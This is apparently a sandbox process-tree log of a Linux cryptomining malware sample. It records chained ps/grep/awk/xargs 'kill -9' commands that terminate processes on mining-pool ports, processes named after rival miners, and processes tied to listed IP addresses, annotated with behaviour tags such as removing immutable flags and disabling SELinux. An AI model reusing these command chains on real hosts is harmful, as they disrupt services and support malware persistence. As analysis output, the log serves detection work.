  grep -v -
  2⤵
  PID:1994
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1993
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1992
- /bin/grep
  grep :143
  2⤵
  PID:1991
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2001
- /bin/grep
  grep -v -
  2⤵
  PID:2000
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1999
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1998
- /bin/grep
  grep :2222
  2⤵
  PID:1997
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2007
- /bin/grep
  grep -v -
  2⤵
  PID:2006
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2005
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2004
- /bin/grep
  grep :3333
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2013
- /bin/grep
  grep -v -
  2⤵
  PID:2012
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2011
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2010
- /bin/grep
  grep :3389
  2⤵
  PID:2009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2019
- /bin/grep
  grep -v -
  2⤵
  PID:2018
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2017
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2016
- /bin/grep
  grep :5555
  2⤵
  PID:2015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2025
- /bin/grep
  grep -v -
  2⤵
  PID:2024
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2023
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2022
- /bin/grep
  grep :6666
  2⤵
  PID:2021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2031
- /bin/grep
  grep -v -
  2⤵
  PID:2030
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2029
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2028
- /bin/grep
  grep :6665
  2⤵
  PID:2027
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2037
- /bin/grep
  grep -v -
  2⤵
  PID:2036
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2035
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2034
- /bin/grep
  grep :6667
  2⤵
  PID:2033
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2043
- /bin/grep
  grep -v -
  2⤵
  PID:2042
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2041
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2040
- /bin/grep
  grep :7777
  2⤵
  PID:2039
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2049
- /bin/grep
  grep -v -
  2⤵
  PID:2048
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2047
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2046
- /bin/grep
  grep :8444
  2⤵
  PID:2045
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2055
- /bin/grep
  grep -v -
  2⤵
  PID:2054
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2053
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2052
- /bin/grep
  grep :3347
  2⤵
  PID:2051
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2061
- /bin/grep
  grep -v -
  2⤵
  PID:2060
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2059
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2058
- /bin/grep
  grep :10008
  2⤵
  PID:2057
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2066
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2065
- /bin/grep
  grep :13531
  2⤵
  PID:2064
- /bin/grep
  grep -v grep
  2⤵
  PID:2063
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2071
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2070
- /bin/grep
  grep :3333
  2⤵
  PID:2069
- /bin/grep
  grep -v grep
  2⤵
  PID:2068
- /bin/ps
  ps aux
  2⤵
  PID:2067
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2076
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2075
- /bin/grep
  grep :5555
  2⤵
  PID:2074
- /bin/grep
  grep -v grep
  2⤵
  PID:2073
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2072
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2081
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2080
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:2079
- /bin/grep
  grep -v grep
  2⤵
  PID:2078
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2077
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2086
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2085
- /bin/grep
  grep log_
  2⤵
  PID:2084
- /bin/grep
  grep -v grep
  2⤵
  PID:2083
- /bin/ps
  ps aux
  2⤵
  PID:2082
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2091
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2090
- /bin/grep
  grep systemten
  2⤵
  PID:2089
- /bin/grep
  grep -v grep
  2⤵
  PID:2088
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2087
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2096
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:2097
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:2097
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:2097
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:2097
- - /sbin/kill
    kill -9 14
    3⤵
    PID:2097
- - /bin/kill
    kill -9 14
    3⤵
    PID:2097
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2095
- /bin/grep
  grep netns
  2⤵
  PID:2094
- /bin/grep
  grep -v grep
  2⤵
  PID:2093
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2092
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2102
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2101
- /bin/grep
  grep voltuned
  2⤵
  PID:2100
- /bin/grep
  grep -v grep
  2⤵
  PID:2099
- /bin/ps
  ps aux
  2⤵
  PID:2098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2107
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2106
- /bin/grep
  grep -v grep
  2⤵
  PID:2104
- /bin/grep
  grep darwin
  2⤵
  PID:2105
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2103
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2112
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2111
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:2110
- /bin/grep
  grep -v grep
  2⤵
  PID:2109
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2108
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2117
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2116
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:2115
- /bin/grep
  grep -v grep
  2⤵
  PID:2114
- /bin/ps
  ps aux
  2⤵
  PID:2113
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2121
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:2120
- /bin/grep
  grep -v grep
  2⤵
  PID:2119
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2118
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2127
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2126
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:2125
- /bin/grep
  grep -v grep
  2⤵
  PID:2124
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2123
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2132
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2131
- /bin/grep
  grep -v grep
  2⤵
  PID:2129
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:2130
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2128
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2137
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2136
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:2135
- /bin/grep
  grep -v grep
  2⤵
  PID:2134
- /bin/ps
  ps aux
  2⤵
  PID:2133
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2142
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2141
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:2140
- /bin/grep
  grep -v grep
  2⤵
  PID:2139
- /bin/ps
  ps aux
  2⤵
  PID:2138
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2147
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2146
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:2145
- /bin/grep
  grep -v grep
  2⤵
  PID:2144
- /bin/ps
  ps aux
  2⤵
  PID:2143
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2152
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2151
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:2150
- /bin/grep
  grep -v grep
  2⤵
  PID:2149
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2148
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2157
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2156
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:2155
- /bin/grep
  grep -v grep
  2⤵
  PID:2154
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2153
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2162
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2161
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:2160
- /bin/grep
  grep -v grep
  2⤵
  PID:2159
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2158
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2167
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2166
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:2165
- /bin/grep
  grep -v grep
  2⤵
  PID:2164
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2163
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2172
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2171
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:2170
- /bin/grep
  grep -v grep
  2⤵
  PID:2169
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2168
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2177
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2176
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:2175
- /bin/grep
  grep -v grep
  2⤵
  PID:2174
- /bin/ps
  ps aux
  2⤵
  PID:2173
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2182
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2181
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:2180
- /bin/grep
  grep -v grep
  2⤵
  PID:2179
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2178
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2187
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2186
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:2185
- /bin/grep
  grep -v grep
  2⤵
  PID:2184
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2183
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2192
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2191
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:2190
- /bin/grep
  grep -v grep
  2⤵
  PID:2189
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2188
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2197
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2196
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:2195
- /bin/grep
  grep -v grep
  2⤵
  PID:2194
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2193
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2202
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2201
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:2200
- /bin/grep
  grep -v grep
  2⤵
  PID:2199
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2198
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2207
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2206
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:2205
- /bin/grep
  grep -v grep
  2⤵
  PID:2204
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2203
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2212
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2211
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:2210
- /bin/grep
  grep -v grep
  2⤵
  PID:2209
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2208
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2217
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2216
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:2215
- /bin/grep
  grep -v grep
  2⤵
  PID:2214
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2213
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2222
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2221
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:2220
- /bin/grep
  grep -v grep
  2⤵
  PID:2219
- /bin/ps
  ps aux
  2⤵
  PID:2218
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2227
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2226
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:2225
- /bin/grep
  grep -v grep
  2⤵
  PID:2224
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2223
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2232
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2231
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:2230
- /bin/grep
  grep -v grep
  2⤵
  PID:2229
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2228
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2237
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2236
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:2235
- /bin/grep
  grep -v grep
  2⤵
  PID:2234
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2233
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2242
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2241
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:2240
- /bin/grep
  grep -v grep
  2⤵
  PID:2239
- /bin/ps
  ps aux
  2⤵
  PID:2238
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2247
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2246
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:2245
- /bin/grep
  grep -v grep
  2⤵
  PID:2244
- /bin/ps
  ps aux
  2⤵
  PID:2243
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2252
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2251
- /bin/grep
  grep http_0xCC030
  2⤵
  - Disables SELinux
  PID:2250
- /bin/grep
  grep -v grep
  2⤵
  PID:2249
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2248
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2256
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:2255
- /bin/grep
  grep -v grep
  2⤵
  PID:2254
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2257
- /bin/ps
  ps aux
  2⤵
  PID:2253
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2262
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2261
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2260
- /bin/grep
  grep -v grep
  2⤵
  PID:2259
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2258
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2267
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2266
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2265
- /bin/grep
  grep -v grep
  2⤵
  PID:2264
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2263
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2272
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2271
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2270
- /bin/grep
  grep -v grep
  2⤵
  PID:2269
- /bin/ps
  ps aux
  2⤵
  PID:2268
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2277
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2276
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2275
- /bin/grep
  grep -v grep
  2⤵
  PID:2274
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2273
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2281
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2280
- /bin/grep
  grep -v grep
  2⤵
  PID:2279
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2278
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2286
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2285
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2284
- /bin/grep
  grep -v grep
  2⤵
  PID:2283
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2282
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2291
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2290
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2289
- /bin/grep
  grep -v grep
  2⤵
  PID:2288
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2287
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2296
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2295
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2294
- /bin/grep
  grep -v grep
  2⤵
  PID:2293
- /bin/ps
  ps aux
  2⤵
  PID:2292
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2301
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2300
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2299
- /bin/grep
  grep -v grep
  2⤵
  PID:2298
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2297
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2306
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2305
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2304
- /bin/grep
  grep -v grep
  2⤵
  PID:2303
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2302
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2311
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2310
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2309
- /bin/grep
  grep -v grep
  2⤵
  PID:2308
- /bin/ps
  ps aux
  2⤵
  PID:2307
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2317
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2316
- /bin/grep
  grep "]"
  2⤵
  PID:2315
- /bin/grep
  grep -v aux
  2⤵
  PID:2314
- /bin/grep
  grep -v grep
  2⤵
  PID:2313
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2312
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2322
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2321
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:2320
- /bin/grep
  grep -v grep
  2⤵
  PID:2319
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2318
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2327
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2326
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:2325
- /bin/grep
  grep -v grep
  2⤵
  PID:2324
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2323
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2331
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2332
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:2330
- /bin/grep
  grep -v grep
  2⤵
  PID:2329
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2328
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2339
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:2338
- /bin/grep
  grep -v _
  2⤵
  PID:2337
- /bin/grep
  grep -v -
  2⤵
  PID:2336
- /bin/grep
  grep -v /
  2⤵
  PID:2335
- /bin/grep
  grep -v grep
  2⤵
  PID:2334
- /bin/ps
  ps aux
  2⤵
  PID:2333
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2344
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2343
- /bin/grep
  grep "\\[^"
  2⤵
  PID:2342
- /bin/grep
  grep -v grep
  2⤵
  PID:2341
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2340
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2349
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2348
- /bin/grep
  grep rsync
  2⤵
  PID:2347
- /bin/grep
  grep -v grep
  2⤵
  PID:2346
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2345
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2354
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2353
- /bin/grep
  grep watchd0g
  2⤵
  PID:2352
- /bin/grep
  grep -v grep
  2⤵
  PID:2351
- /bin/ps
  ps aux
  2⤵
  PID:2350
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2359
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2358
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /bin/grep
  grep -v grep
  2⤵
  PID:2356
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2355
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2357
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2364
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2363
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  - Disables SELinux
  PID:2362
- /bin/grep
  grep -v grep
  2⤵
  PID:2361
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2360
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2369
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2368
- /bin/grep
  grep /tmp/java
  2⤵
  PID:2367
- /bin/grep
  grep -v grep
  2⤵
  PID:2366
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2365
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2374
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2373
- /bin/grep
  grep gitee.com
  2⤵
  PID:2372
- /bin/grep
  grep -v grep
  2⤵
  PID:2371
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2370
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2379
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2378
- /bin/grep
  grep /tmp/java
  2⤵
  PID:2377
- /bin/grep
  grep -v grep
  2⤵
  PID:2376
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2375
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2384
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2383
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:2382
- /bin/grep
  grep -v grep
  2⤵
  PID:2381
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2380
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2389
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2388
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:2387
- /bin/grep
  grep -v grep
  2⤵
  PID:2386
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2385
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2394
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2393
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:2392
- /bin/grep
  grep -v grep
  2⤵
  PID:2391
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2390
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2399
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2398
- /bin/grep
  grep -v grep
  2⤵
  PID:2396
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2395
- /bin/grep
  grep kthrotlds
  2⤵
  PID:2397
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
